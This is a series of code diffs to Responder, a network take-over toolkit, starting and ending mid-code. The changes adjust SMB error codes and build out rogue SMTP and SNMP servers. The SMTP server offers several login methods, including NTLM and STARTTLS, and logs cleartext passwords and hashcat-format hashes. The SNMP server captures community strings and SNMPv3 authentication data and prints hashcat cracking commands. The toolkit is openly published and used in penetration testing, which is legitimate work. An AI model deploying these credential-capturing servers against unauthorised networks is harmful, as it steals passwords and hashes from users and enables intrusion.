except:
pass

View File

@@ -201,7 +201,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
break
if data[0:1] == b"\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
Buffer = b"\x82\x00\x00\x00"
try:
self.request.send(Buffer)
data = self.request.recv(1024)
@@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.send(NetworkSendBufferPython2or3(Buffer))
else:
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.ErrorCode:
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty())
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(NetworkSendBufferPython2or3(Buffer))

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,7 +15,14 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from base64 import b64decode
from base64 import b64decode, b64encode
import hashlib
import codecs
import struct
import re
import ssl
import os
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -23,59 +30,617 @@ else:
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
class ESMTP(BaseRequestHandler):
"""SMTP server with multiple authentication methods and STARTTLS"""
def __init__(self, *args, **kwargs):
self.challenge = None
BaseRequestHandler.__init__(self, *args, **kwargs)
def send_response(self, code, message):
"""Send SMTP response"""
response = "%d %s\r\n" % (code, message)
self.request.send(response.encode('latin-1'))
def send_multiline_response(self, code, lines):
"""Send multi-line SMTP response"""
for i, line in enumerate(lines):
if i < len(lines) - 1:
response = "%d-%s\r\n" % (code, line)
else:
response = "%d %s\r\n" % (code, line)
self.request.send(response.encode('latin-1'))
def send_continue(self, data=""):
"""Send continuation response for AUTH"""
if data:
response = "334 %s\r\n" % data
else:
response = "334\r\n"
self.request.send(response.encode('latin-1'))
def upgrade_to_tls(self):
"""Upgrade connection to TLS using Responder's SSL certificates"""
try:
# Get SSL certificate paths from Responder config
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if not os.path.exists(cert_path) or not os.path.exists(key_path):
if settings.Config.Verbose:
print(text('[SMTP] SSL certificates not found'))
return False
# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert_path, key_path)
# Wrap socket
self.request = context.wrap_socket(self.request, server_side=True)
if settings.Config.Verbose:
print(text('[SMTP] Successfully upgraded to TLS from %s' %
self.client_address[0].replace("::ffff:", "")))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] TLS upgrade failed: %s' % str(e)))
return False
def handle_auth_plain(self, data):
"""Handle AUTH PLAIN"""
try:
# AUTH PLAIN can be:
# AUTH PLAIN <base64>
# or
# AUTH PLAIN
# <base64>
auth_match = re.search(b'AUTH PLAIN (.+)', data, re.IGNORECASE)
if auth_match:
# Inline format
auth_data = auth_match.group(1).strip()
else:
# Need to read next line
self.send_continue()
auth_data = self.request.recv(1024).strip()
if not auth_data or auth_data == b'*':
return False
# Decode
decoded = b64decode(auth_data)
# Format: [authzid]\x00username\x00password
parts = decoded.split(b'\x00')
if len(parts) >= 3:
username = parts[1].decode('latin-1', errors='ignore')
password = parts[2].decode('latin-1', errors='ignore')
elif len(parts) == 2:
username = parts[0].decode('latin-1', errors='ignore')
password = parts[1].decode('latin-1', errors='ignore')
else:
return False
SaveToDb({
'module': 'SMTP',
'type': 'AUTH-PLAIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured AUTH PLAIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing AUTH PLAIN: %s' % str(e)))
return False
def handle_auth_login(self, data):
"""Handle AUTH LOGIN (two-stage)"""
try:
# Check if username is inline
auth_match = re.search(b'AUTH LOGIN (.+)', data, re.IGNORECASE)
if auth_match:
# Username provided inline
username_b64 = auth_match.group(1).strip()
username = b64decode(username_b64).decode('latin-1', errors='ignore')
else:
# Prompt for username
self.send_continue(b64encode(b"Username:").decode('latin-1'))
username_b64 = self.request.recv(1024).strip()
if not username_b64 or username_b64 == b'*':
return False
username = b64decode(username_b64).decode('latin-1', errors='ignore')
# Prompt for password
self.send_continue(b64encode(b"Password:").decode('latin-1'))
password_b64 = self.request.recv(1024).strip()
if not password_b64 or password_b64 == b'*':
return False
password = b64decode(password_b64).decode('latin-1', errors='ignore')
SaveToDb({
'module': 'SMTP',
'type': 'AUTH-LOGIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured AUTH LOGIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing AUTH LOGIN: %s' % str(e)))
return False
def handle_auth_cram_md5(self, data):
"""Handle AUTH CRAM-MD5 (challenge-response)"""
try:
import time
import os
# Generate challenge
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64 or response_b64 == b'*':
return False
response = b64decode(response_b64).decode('latin-1', errors='ignore')
# Format: username<space>digest
parts = response.split(' ', 1)
if len(parts) < 2:
return False
username = parts[0]
digest = parts[1].lower()
# Format for hashcat
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
SaveToDb({
'module': 'SMTP',
'type': 'CRAM-MD5',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured CRAM-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing CRAM-MD5: %s' % str(e)))
return False
def handle_auth_digest_md5(self, data):
"""Handle AUTH DIGEST-MD5"""
try:
import time
import os
# Generate nonce
nonce = hashlib.md5(str(time.time()).encode()).hexdigest()
# Build challenge
challenge_parts = [
'realm="%s"' % settings.Config.MachineName,
'nonce="%s"' % nonce,
'qop="auth"',
'charset=utf-8',
'algorithm=md5-sess'
]
challenge = ','.join(challenge_parts)
challenge_b64 = b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64 or response_b64 == b'*':
return False
response = b64decode(response_b64).decode('latin-1', errors='ignore')
# Parse response
username_match = re.search(r'username="([^"]+)"', response)
realm_match = re.search(r'realm="([^"]+)"', response)
nonce_match = re.search(r'nonce="([^"]+)"', response)
cnonce_match = re.search(r'cnonce="([^"]+)"', response)
nc_match = re.search(r'nc=([0-9a-fA-F]+)', response)
qop_match = re.search(r'qop=([a-z\-]+)', response)
uri_match = re.search(r'digest-uri="([^"]+)"', response)
response_match = re.search(r'response=([0-9a-fA-F]+)', response)
if not username_match or not response_match:
return False
username = username_match.group(1)
realm = realm_match.group(1) if realm_match else ''
resp_nonce = nonce_match.group(1) if nonce_match else ''
cnonce = cnonce_match.group(1) if cnonce_match else ''
nc = nc_match.group(1) if nc_match else ''
qop = qop_match.group(1) if qop_match else ''
uri = uri_match.group(1) if uri_match else ''
resp_hash = response_match.group(1)
# Format for hashcat/john
hash_string = "%s:$sasl$DIGEST-MD5$%s$%s$%s$%s$%s$%s$%s" % (
username, realm, nonce, cnonce, nc, qop, uri, resp_hash
)
SaveToDb({
'module': 'SMTP',
'type': 'DIGEST-MD5',
'client': self.client_address[0],
'user': username,
'hash': resp_hash,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured DIGEST-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
# Send rspauth (expected by some clients)
rspauth = 'rspauth=' + resp_hash
self.send_continue(b64encode(rspauth.encode('latin-1')).decode('latin-1'))
# Client should send empty line
self.request.recv(1024)
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing DIGEST-MD5: %s' % str(e)))
return False
def handle_auth_ntlm(self, data):
"""Handle AUTH NTLM with proper Type 2 challenge"""
try:
import time
# Check for inline NTLM NEGOTIATE
auth_match = re.search(b'AUTH NTLM (.+)', data, re.IGNORECASE)
if auth_match:
negotiate_b64 = auth_match.group(1).strip()
else:
# Send empty continuation
self.send_continue()
negotiate_b64 = self.request.recv(1024).strip()
if not negotiate_b64 or negotiate_b64 == b'*':
return False
negotiate = b64decode(negotiate_b64)
# Verify NTLMSSP signature
if negotiate[0:8] != b'NTLMSSP\x00':
return False
msg_type = struct.unpack('<I', negotiate[8:12])[0]
if msg_type != 1: # Type 1 - NEGOTIATE
return False
# Generate Type 2 with proper structure
type2_msg = self.generate_ntlm_type2()
challenge_b64 = b64encode(type2_msg).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive NTLMSSP AUTH (Type 3)
auth_b64 = self.request.recv(2048).strip()
if not auth_b64 or auth_b64 == b'*':
return False
auth_data = b64decode(auth_b64)
# Parse Type 3 and extract hash
ntlm_hash = self.parse_ntlm_type3(auth_data, type2_msg)
if ntlm_hash:
# Extract username from hash for logging
username = ntlm_hash.split('::')[0]
SaveToDb({
'module': 'SMTP',
'type': 'NTLMv2-SSP',
'client': self.client_address[0],
'user': username,
'hash': ntlm_hash,
'fullhash': ntlm_hash,
})
if settings.Config.Verbose:
print(color("[*] [SMTP] Captured NTLMv2 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
return False
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Error parsing NTLM: %s' % str(e)))
return False
def generate_ntlm_type2(self):
"""Generate NTLM Type 2 with target info for NTLMv2"""
import time
# Generate random 8-byte challenge
challenge = RandomChallenge()
# Target name: "WORKGROUP" (18 bytes in UTF-16LE)
target_name = b'WORKGROUP'.decode('ascii').encode('utf-16le')
target_name_len = len(target_name)
# Build target info (AV pairs) for NTLMv2
target_info = b''
# MsvAvNbDomainName (0x0002)
av_domain = b'WORKGROUP'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0002, len(av_domain)) + av_domain
# MsvAvNbComputerName (0x0001)
av_computer = b'SERVER'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0001, len(av_computer)) + av_computer
# MsvAvDnsDomainName (0x0004)
av_dns_domain = b'workgroup'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0004, len(av_dns_domain)) + av_dns_domain
# MsvAvDnsComputerName (0x0003)
av_dns_computer = b'server'.decode('ascii').encode('utf-16le')
target_info += struct.pack('<HH', 0x0003, len(av_dns_computer)) + av_dns_computer
# MsvAvTimestamp (0x0007) - 8 bytes FILETIME
filetime = int((time.time() + 11644473600) * 10000000)
target_info += struct.pack('<HH', 0x0007, 8) + struct.pack('<Q', filetime)
# MsvAvEOL (0x0000)
target_info += struct.pack('<HH', 0x0000, 0)
target_info_len = len(target_info)
# Calculate offsets
target_name_offset = 48
target_info_offset = target_name_offset + target_name_len
# Build Type 2 message
type2_msg = b'NTLMSSP\x00' # Signature
type2_msg += struct.pack('<I', 2) # Type 2
# Target name (LE format: len, max len, offset)
type2_msg += struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
# Flags - use HTTP server flags for compatibility
type2_msg += b'\x05\x02\x81\xa2' # 0xa2810205
# Challenge (8 bytes)
type2_msg += challenge
# Context (8 bytes, reserved)
type2_msg += b'\x00' * 8
# Target info (LE format: len, max len, offset)
type2_msg += struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
# Payload
type2_msg += target_name
type2_msg += target_info
return type2_msg
def parse_ntlm_type3(self, type3_msg, type2_msg):
"""Parse Type 3 and extract NetNTLMv2 hash"""
try:
# Verify signature
if type3_msg[:8] != b'NTLMSSP\x00':
return None
# Verify message type
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
if msg_type != 3:
return None
# Parse security buffers
# LM Response
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
# NTLM Response
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
# Domain name
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
# User name
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
# Workstation name
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
# Extract strings
if user_offset + user_len <= len(type3_msg):
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
else:
user = ""
if domain_offset + domain_len <= len(type3_msg):
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
else:
domain = ""
# DO NOT parse email addresses - use exact Type 3 fields for hashcat
if ws_offset + ws_len <= len(type3_msg):
workstation = type3_msg[ws_offset:ws_offset+ws_len].decode('utf-16le', errors='ignore')
else:
workstation = ""
# Extract NTLM response
if ntlm_offset + ntlm_len <= len(type3_msg):
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
else:
return None
# Check if NTLMv2 (response length > 24 bytes)
if len(ntlm_response) > 24:
# NTLMv2
ntlmv2_response = ntlm_response[:16] # First 16 bytes
ntlmv2_blob = ntlm_response[16:] # Rest is the blob
# Extract challenge from Type 2
challenge = type2_msg[24:32] # Challenge is at offset 24
# Build hashcat NetNTLMv2 format
# Format: username::domain:challenge:ntlmv2_response:blob
# For hashcat mode 5600
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
codecs.encode(challenge, 'hex').decode('latin-1'),
codecs.encode(ntlmv2_response, 'hex').decode('latin-1'),
codecs.encode(ntlmv2_blob, 'hex').decode('latin-1')
)
return hash_str
# NTLMv1 or unsupported
return None
except Exception as e:
return None
def handle(self):
try:
# Send greeting
self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
data = self.request.recv(1024)
if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
# Handle EHLO
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
# Send ESMTP capabilities
capabilities = [
settings.Config.MachineName + " Hello",
"STARTTLS",
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
"SIZE 35651584",
"8BITMIME",
"PIPELINING",
"ENHANCEDSTATUSCODES"
]
self.send_multiline_response(250, capabilities)
data = self.request.recv(1024)
if data[0:4] == b'AUTH':
AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
if AuthPlain:
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
Username = User[0].decode('latin-1')
Password = User[1].decode('latin-1')
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
else:
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
data = self.request.recv(1024)
# Handle STARTTLS command
if data[0:8].upper() == b'STARTTLS':
self.send_response(220, "Ready to start TLS")
if data:
try:
User = list(filter(None, b64decode(data).split(b'\x00')))
Username = User[0].decode('latin-1')
Password = User[1].decode('latin-1')
except:
Username = b64decode(data).decode('latin-1')
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data).decode('latin-1')
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception:
# Upgrade to TLS
if self.upgrade_to_tls():
# After successful TLS upgrade, client will send EHLO again
data = self.request.recv(1024)
# Handle EHLO after STARTTLS
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
# Send capabilities again (without STARTTLS this time)
capabilities = [
settings.Config.MachineName + " Hello",
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
"SIZE 35651584",
"8BITMIME",
"PIPELINING",
"ENHANCEDSTATUSCODES"
]
self.send_multiline_response(250, capabilities)
data = self.request.recv(1024)
else:
# TLS upgrade failed
self.send_response(454, "TLS not available")
return
# Handle AUTH command
if data[0:4].upper() == b'AUTH':
mechanism = data[5:].strip().split(b' ')[0].upper()
if mechanism == b'PLAIN':
if self.handle_auth_plain(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'LOGIN':
if self.handle_auth_login(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
if self.handle_auth_cram_md5(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'DIGEST-MD5' or mechanism.startswith(b'DIGEST'):
if self.handle_auth_digest_md5(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
elif mechanism == b'NTLM':
if self.handle_auth_ntlm(data):
self.send_response(235, "Authentication successful")
else:
self.send_response(535, "Authentication failed")
return
else:
self.send_response(504, "Unrecognized authentication type")
return
# Handle other commands
self.send_response(250, "OK")
except Exception as e:
if settings.Config.Verbose:
print(text('[SMTP] Exception: %s' % str(e)))
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,48 +15,377 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from binascii import hexlify
from pyasn1.codec.ber.decoder import decode
from binascii import hexlify, unhexlify
import struct
try:
from pyasn1.codec.ber.decoder import decode
from pyasn1.codec.ber.encoder import encode
HAS_PYASN1 = True
except ImportError:
HAS_PYASN1 = False
if settings.Config.Verbose:
print(text('[SNMP] Warning: pyasn1 not installed, SNMP server disabled'))
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# SNMPv3 Authentication Algorithms
SNMPV3_AUTH_ALGORITHMS = {
b'\x06\x0c\x2b\x06\x01\x06\x03\x0f\x01\x01\x04\x00': ('usmNoAuthProtocol', None),
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x02': ('usmHMACMD5AuthProtocol', 25100),
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x03': ('usmHMACSHAAuthProtocol', 25200),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x04': ('usmHMAC128SHA224AuthProtocol', 25300),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x05': ('usmHMAC192SHA256AuthProtocol', 25400),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x06': ('usmHMAC256SHA384AuthProtocol', 25500),
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x07': ('usmHMAC384SHA512AuthProtocol', 25600),
}
class SNMP(BaseRequestHandler):
def handle(self):
data = self.request[0]
received_record, rest_of_substrate = decode(data)
snmp_version = int(received_record['field-0'])
if snmp_version == 3:
full_snmp_msg = hexlify(data).decode('utf-8')
if not HAS_PYASN1:
return
try:
data = self.request[0]
socket = self.request[1]
# Decode the SNMP message
try:
received_record, rest_of_substrate = decode(data)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] ASN.1 decode error: %s' % str(e)))
return
# Get SNMP version
try:
snmp_version = int(received_record['field-0'])
except:
if settings.Config.Verbose:
print(text('[SNMP] Could not determine SNMP version'))
return
# Handle SNMPv3
if snmp_version == 3:
self.handle_snmpv3(data, received_record, socket)
# Handle SNMPv1/v2c
else:
self.handle_snmpv1v2c(data, received_record, snmp_version, socket)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] Exception in handler: %s' % str(e)))
pass
def handle_snmpv3(self, data, received_record, socket):
"""Handle SNMPv3 messages and extract authentication parameters"""
try:
# Decode the inner security parameters
received_record_inner, _ = decode(received_record['field-2'])
# Extract fields
snmp_user = str(received_record_inner['field-3'])
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
engine_boots = int(received_record_inner['field-1'])
engine_time = int(received_record_inner['field-2'])
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
priv_params = hexlify(received_record_inner['field-5']._value).decode('utf-8')
# Zero out authentication parameters in packet for hashcat
# Hashcat recalculates HMAC over packet with auth params = zeros
data_hex = hexlify(data).decode('utf-8')
if auth_params and auth_params != '00' * 12:
# Replace auth params with zeros in the packet
zeroed_auth = '00' * (len(auth_params) // 2)
full_snmp_msg = data_hex.replace(auth_params, zeroed_auth)
else:
full_snmp_msg = data_hex
# Determine authentication algorithm
auth_algo_name, hashcat_mode = self.identify_auth_algorithm(data)
# If not detected by OID, infer from auth params length
if not hashcat_mode and auth_params and auth_params != '00' * 12:
auth_len = len(auth_params) // 2 # Convert hex to bytes
if auth_len == 12:
# Could be MD5 or SHA1 - use combined mode
auth_algo_name = 'HMAC-MD5-96/HMAC-SHA1-96'
hashcat_mode = 25000
elif auth_len == 16:
auth_algo_name = 'HMAC-SHA224'
hashcat_mode = 25300
elif auth_len == 24:
auth_algo_name = 'HMAC-SHA256'
hashcat_mode = 25400
elif auth_len == 32:
auth_algo_name = 'HMAC-SHA384'
hashcat_mode = 25500
elif auth_len == 48:
auth_algo_name = 'HMAC-SHA512'
hashcat_mode = 25600
# Check if this is a discovery request (no auth params and empty username)
if (not auth_params or auth_params == '00' * 12) and (not snmp_user or snmp_user == ''):
# Send discovery response with our engine ID
self.send_discovery_response(socket, received_record)
return
# Check if authentication is actually being used
if not auth_params or auth_params == '00' * 12:
# Still save the username with noAuth indicator
SaveToDb({
"module": "SNMP",
"type": "SNMPv3-noAuth",
"client": self.client_address[0],
"user": snmp_user,
"cleartext": "(noAuth)",
"fullhash": snmp_user + ":(noAuth)"
})
return
# Build hashcat-compatible hash
if hashcat_mode:
# Format for mode 25000: $SNMPv3$<type>$<boots>$<packet>$<engine_id>$<auth_params>
# type: 0=MD5/SHA1, 1=SHA1, 2=SHA224, etc.
# boots: engine boots in decimal
# packet: full SNMP packet in hex
# engine_id: engine ID in hex
# auth_params: authentication parameters in hex
auth_type_map = {
25000: 0, # MD5/SHA1 combined
25100: 0, # MD5
25200: 1, # SHA1
25300: 2, # SHA224
25400: 3, # SHA256
25500: 4, # SHA384
25600: 5, # SHA512
}
auth_type = auth_type_map.get(hashcat_mode, 0)
# Build the hash in correct format
hashcat_hash = "$SNMPv3$%d$%d$%s$%s$%s" % (
auth_type,
engine_boots,
full_snmp_msg,
engine_id,
auth_params
)
if settings.Config.Verbose:
print(text('[SNMP] SNMPv3 hash captured!'))
print(text('[SNMP] Crack with: hashcat -m %d hash.txt wordlist.txt' % hashcat_mode))
if hashcat_mode == 25000:
print(text('[SNMP] Note: Mode 25000 tries both MD5 and SHA1'))
print(text('[SNMP] Or use -m 25100 (MD5 only) or -m 25200 (SHA1 only)'))
# Sanitize type name for filesystem (remove slashes)
safe_type = auth_algo_name.replace('/', '-')
SaveToDb({
"module": "SNMP",
"type": "SNMPv3-%s" % safe_type,
"client": self.client_address[0],
"user": snmp_user,
"hash": hashcat_hash,
"fullhash": hashcat_hash
})
else:
# Unknown algorithm or no auth - save basic info
SaveToDb({
"module": "SNMP",
"type": "SNMPv3",
"client": self.client_address[0],
"user": snmp_user,
"hash": auth_params,
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
})
# Send a response (Report PDU indicating authentication failure)
# This keeps the conversation going
self.send_snmpv3_report(socket)
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] SNMPv3 parsing error: %s' % str(e)))
pass
def handle_snmpv1v2c(self, data, received_record, snmp_version, socket):
"""Handle SNMPv1/v2c messages and extract community strings"""
try:
community_string = str(received_record['field-1'])
version_str = 'v1' if snmp_version == 0 else 'v2c'
if settings.Config.Verbose:
print(text('[SNMP] %s Community String: %s' % (version_str, community_string)))
# Validate community string (should be printable)
if not community_string or not self.is_printable(community_string):
return
SaveToDb({
"module": "SNMP",
"type": "SNMPv3",
"client" : self.client_address[0],
"user": snmp_user,
"hash": auth_params,
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
"type": "Cleartext SNMP%s" % version_str,
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
})
else:
community_string = str(received_record['field-1'])
snmp_version = '1' if snmp_version == 0 else '2c'
SaveToDb(
{
"module": "SNMP",
"type": "Cleartext SNMPv{}".format(snmp_version),
"client": self.client_address[0],
"user": community_string,
"cleartext": community_string,
"fullhash": community_string,
}
)
# Send a response (could be a proper SNMP response or error)
# For now, we just close the connection
except Exception as e:
if settings.Config.Verbose:
print(text('[SNMP] SNMPv1/v2c parsing error: %s' % str(e)))
pass
def identify_auth_algorithm(self, data):
"""
Identify the authentication algorithm used in SNMPv3
Returns (algorithm_name, hashcat_mode)
"""
try:
# Look for OID patterns in the raw data
for oid_bytes, (algo_name, hashcat_mode) in SNMPV3_AUTH_ALGORITHMS.items():
if oid_bytes in data:
return (algo_name, hashcat_mode)
# If not found by OID, try to infer from auth params length
# MD5: 12 bytes, SHA1: 12 bytes, SHA224: 16 bytes, SHA256: 24 bytes, SHA384: 32 bytes, SHA512: 48 bytes
# Note: This is less reliable
return (None, None)
except:
return (None, None)
def is_printable(self, s):
"""Check if string contains only printable characters"""
try:
return all(32 <= ord(c) <= 126 for c in s)
except:
return False
def send_snmpv3_report(self, socket):
"""
Send a minimal SNMPv3 Report PDU
This indicates authentication failure but keeps the conversation alive
"""
try:
# Minimal Report PDU - just close for now
# A proper implementation would build a valid SNMP Report PDU
pass
except:
pass
def send_discovery_response(self, socket, received_record):
"""
Send SNMPv3 discovery response with engine ID
This allows the client to send authenticated request
"""
try:
from pyasn1.type import univ
from pyasn1.codec.ber.encoder import encode
import os
import time
# Generate a random engine ID (or use a fixed one)
# Format: 0x80 + enterprise ID (4 bytes) + format + data
# Enterprise ID: 0x00000000 (reserved)
# Format: 0x05 (octets - allows arbitrary data)
# Data: 12 random bytes (17 bytes total to match hashcat requirements)
engine_id = b'\x80\x00\x00\x00\x05' + os.urandom(12)
# Engine boots and time
engine_boots = 1
engine_time = int(time.time()) % 2147483647
# Build the SNMPv3 message with Report-PDU
# Structure: SEQUENCE { version, globalData, securityParameters, scopedPDU }
# Global data
msg_id = int(received_record['field-1']['field-0'])
global_data = univ.Sequence()
global_data.setComponentByPosition(0, univ.Integer(msg_id))
global_data.setComponentByPosition(1, univ.Integer(65507)) # max size
global_data.setComponentByPosition(2, univ.OctetString(hexValue='04')) # flags: reportable
global_data.setComponentByPosition(3, univ.Integer(3)) # USM
# Security parameters (USM)
usm_params = univ.Sequence()
usm_params.setComponentByPosition(0, univ.OctetString(hexValue=engine_id.hex())) # engine ID
